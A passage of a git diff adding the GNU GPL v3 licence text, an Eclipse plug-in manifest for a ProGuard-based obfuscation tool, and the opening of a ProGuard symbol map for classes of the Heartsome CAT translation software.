fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + <program> Copyright (C) <year> <name of author> + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/tools/obclipse/META-INF/MANIFEST.MF b/tools/obclipse/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6ec0142 --- /dev/null +++ b/tools/obclipse/META-INF/MANIFEST.MF @@ -0,0 +1,9 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Obclipse Plug-in +Bundle-SymbolicName: mfb2.tools.obclipse;singleton:=true +Bundle-Version: 0.1.0 +Bundle-ClassPath: obclipse.jar, + lib/ant.jar, + lib/proguard.jar +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/tools/obclipse/build/obfuscate.map b/tools/obclipse/build/obfuscate.map new file mode 100644 index 0000000..d46c90d --- /dev/null +++ b/tools/obclipse/build/obfuscate.map @@ -0,0 +1,8350 @@ +net.heartsome.cat.common.bean.ColorConfigBean -> net.heartsome.cat.common.bean.ColorConfigBean: + org.eclipse.swt.graphics.Color ptColor -> a + org.eclipse.swt.graphics.Color qtColor -> c + org.eclipse.swt.graphics.Color mtColor -> d + org.eclipse.swt.graphics.Color tm101Color -> e + org.eclipse.swt.graphics.Color tm100Color -> f + org.eclipse.swt.graphics.Color tm90Color -> g + org.eclipse.swt.graphics.Color tm80Color -> h + org.eclipse.swt.graphics.Color tm70Color -> i + org.eclipse.swt.graphics.Color tm0Color -> j + org.eclipse.swt.graphics.Color highlightedTermColor -> k + org.eclipse.swt.graphics.Color srcDiffFgColor -> l + org.eclipse.swt.graphics.Color srcDiffBgColor -> m + org.eclipse.swt.graphics.Color tagFgColor -> n + org.eclipse.swt.graphics.Color tagBgColor -> o + org.eclipse.swt.graphics.Color wrongTagColor -> p + org.eclipse.swt.graphics.Color errorWordColor -> q + net.heartsome.cat.common.bean.ColorConfigBean instance -> r + net.heartsome.cat.common.bean.ColorConfigBean getInstance() -> getInstance + void release() -> release + org.eclipse.swt.graphics.Color getPtColor() -> getPtColor + org.eclipse.swt.graphics.Color getQtColor() -> getQtColor + org.eclipse.swt.graphics.Color getMtColor() -> getMtColor + org.eclipse.swt.graphics.Color getTm101Color() -> getTm101Color + org.eclipse.swt.graphics.Color getTm100Color() -> getTm100Color + org.eclipse.swt.graphics.Color getTm90Color() -> getTm90Color + org.eclipse.swt.graphics.Color getTm80Color() -> getTm80Color + org.eclipse.swt.graphics.Color getTm70Color() -> getTm70Color + org.eclipse.swt.graphics.Color getTm0Color() -> getTm0Color + org.eclipse.swt.graphics.Color getSrcDiffFgColor() -> getSrcDiffFgColor + org.eclipse.swt.graphics.Color getSrcDiffBgColor() -> getSrcDiffBgColor + org.eclipse.swt.graphics.Color getTagFgColor() -> getTagFgColor + org.eclipse.swt.graphics.Color getTagBgColor() -> getTagBgColor + org.eclipse.swt.graphics.Color getWrongTagColor() -> getWrongTagColor + org.eclipse.swt.graphics.Color getHighlightedTermColor() -> getHighlightedTermColor + org.eclipse.swt.graphics.Color getErrorWordColor() -> getErrorWordColor + void setPtColor(org.eclipse.swt.graphics.Color) -> setPtColor + void setQtColor(org.eclipse.swt.graphics.Color) -> setQtColor + void setMtColor(org.eclipse.swt.graphics.Color) -> setMtColor + void setTm101Color(org.eclipse.swt.graphics.Color) -> setTm101Color + void setTm100Color(org.eclipse.swt.graphics.Color) -> setTm100Color + void setTm90Color(org.eclipse.swt.graphics.Color) -> setTm90Color + void setTm80Color(org.eclipse.swt.graphics.Color) -> setTm80Color + void setTm70Color(org.eclipse.swt.graphics.Color) -> setTm70Color + void setTm0Color(org.eclipse.swt.graphics.Color) -> setTm0Color + void setHighlightedTermColor(org.eclipse.swt.graphics.Color) -> setHighlightedTermColor + void setSrcDiffFgColor(org.eclipse.swt.graphics.Color) -> setSrcDiffFgColor + void setSrcDiffBgColor(org.eclipse.swt.graphics.Color) -> setSrcDiffBgColor + void setTagFgColor(org.eclipse.swt.graphics.Color) -> setTagFgColor + void setTagBgColor(org.eclipse.swt.graphics.Color) -> setTagBgColor + void setWrongTagColor(org.eclipse.swt.graphics.Color) -> setWrongTagColor + void setErrorWordColor(org.eclipse.swt.graphics.Color) -> setErrorWordColor + java.lang.String toString() -> toString +net.heartsome.cat.common.bean.DatabaseModelBean -> net.heartsome.cat.common.bean.DatabaseModelBean: + java.lang.String id -> id + java.lang.String dbType -> dbType + java.lang.String dbName -> dbName + java.lang.String instance -> instance + java.lang.String host -> host + java.lang.String port -> port + java.lang.String userName -> userName + java.lang.String password -> password + java.lang.String itlDBLocation -> itlDBLocation + boolean hasMatch -> hasMatch + boolean isDefault -> isDefault + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getDbType() -> getDbType + void setDbType(java.lang.String) -> setDbType + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName + java.lang.String getInstance() -> getInstance + void setInstance(java.lang.String) -> setInstance + java.lang.String getHost() -> getHost + void setHost(java.lang.String) -> setHost + java.lang.String getPort() -> getPort + void setPort(java.lang.String) -> setPort + java.lang.String getUserName() -> getUserName + void setUserName(java.lang.String) -> setUserName + java.lang.String getPassword() -> getPassword + void setPassword(java.lang.String) -> setPassword + java.lang.String getItlDBLocation() -> getItlDBLocation + void setItlDBLocation(java.lang.String) -> setItlDBLocation + boolean isHasMatch() -> isHasMatch + void setHasMatch(boolean) -> setHasMatch + boolean isDefault() -> isDefault + void setDefault(boolean) -> setDefault + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + net.heartsome.cat.common.bean.MetaData toDbMetaData() -> toDbMetaData + void metaDatatToBean(net.heartsome.cat.common.bean.MetaData) -> metaDatatToBean + net.heartsome.cat.common.bean.DatabaseModelBean copyToOtherIntance(net.heartsome.cat.common.bean.DatabaseModelBean) -> copyToOtherIntance +net.heartsome.cat.common.bean.FuzzySearchResult -> net.heartsome.cat.common.bean.FuzzySearchResult: + net.heartsome.cat.common.bean.TmxTU tu -> s + java.lang.String dbName -> dbName + int similarity -> t + java.lang.Object dbOp -> u + void setDbOp(java.lang.Object) -> setDbOp + java.lang.Object getDbOp() -> getDbOp + void setTu(net.heartsome.cat.common.bean.TmxTU) -> setTu + net.heartsome.cat.common.bean.TmxTU getTu() -> getTu + void setDbName(java.lang.String) -> setDbName + java.lang.String getDbName() -> getDbName + void setSimilarity(int) -> setSimilarity + int getSimilarity() -> getSimilarity +net.heartsome.cat.common.bean.MetaData -> net.heartsome.cat.common.bean.MetaData: + java.lang.String dbType -> dbType + java.lang.String databaseName -> databaseName + java.lang.String instance -> instance + java.lang.String serverName -> serverName + java.lang.String port -> port + java.lang.String userName -> userName + java.lang.String password -> password + java.lang.String optimize -> v + java.lang.String dataPath -> w + boolean isTB -> x + boolean isTM -> y + java.lang.String getDatabaseName() -> getDatabaseName + void setDatabaseName(java.lang.String) -> setDatabaseName + boolean databaseNameSupported() -> databaseNameSupported + java.lang.String getInstance() -> getInstance + void setInstance(java.lang.String) -> setInstance + boolean instanceSupported() -> instanceSupported + java.lang.String getServerName() -> getServerName + void setServerName(java.lang.String) -> setServerName + boolean serverNameSupported() -> serverNameSupported + java.lang.String getPort() -> getPort + void setPort(java.lang.String) -> setPort + boolean portSupported() -> portSupported + java.lang.String getUserName() -> getUserName + void setUserName(java.lang.String) -> setUserName + boolean userNameSupported() -> userNameSupported + java.lang.String getPassword() -> getPassword + void setPassword(java.lang.String) -> setPassword + boolean passwordSupported() -> passwordSupported + java.lang.String getOptimize() -> getOptimize + java.lang.String getDataPath() -> getDataPath + void setDataPath(java.lang.String) -> setDataPath + boolean dataPathSupported() -> dataPathSupported + java.lang.String getDbType() -> getDbType + void setDbType(java.lang.String) -> setDbType + boolean isTB() -> isTB + void setTB(boolean) -> setTB + boolean isTM() -> isTM + void setTM(boolean) -> setTM + java.lang.Object clone() -> clone +net.heartsome.cat.common.bean.ProjectInfoBean -> net.heartsome.cat.common.bean.ProjectInfoBean: + java.lang.String projectName -> projectName + java.util.LinkedHashMap mapField -> mapField + java.util.LinkedHashMap mapAttr -> mapAttr + net.heartsome.cat.common.locale.Language sourceLang -> sourceLang + java.util.List targetLang -> targetLang + java.util.List tmDb -> tmDb + java.util.List tbDb -> tbDb + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getProjectName() -> getProjectName + void setProjectName(java.lang.String) -> setProjectName + java.util.LinkedHashMap getMapField() -> getMapField + void setMapField(java.util.LinkedHashMap) -> setMapField + java.util.LinkedHashMap getMapAttr() -> getMapAttr + void setMapAttr(java.util.LinkedHashMap) -> setMapAttr + net.heartsome.cat.common.locale.Language getSourceLang() -> getSourceLang + void setSourceLang(net.heartsome.cat.common.locale.Language) -> setSourceLang + java.util.List getTargetLang() -> getTargetLang + void setTargetLang(java.util.List) -> setTargetLang + java.util.List getTmDb() -> getTmDb + void setTmDb(java.util.List) -> setTmDb + java.util.List getTbDb() -> getTbDb + void setTbDb(java.util.List) -> setTbDb + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener +net.heartsome.cat.common.bean.TmxContexts -> net.heartsome.cat.common.bean.TmxContexts: + java.lang.String PRE_CONTEXT_NAME -> 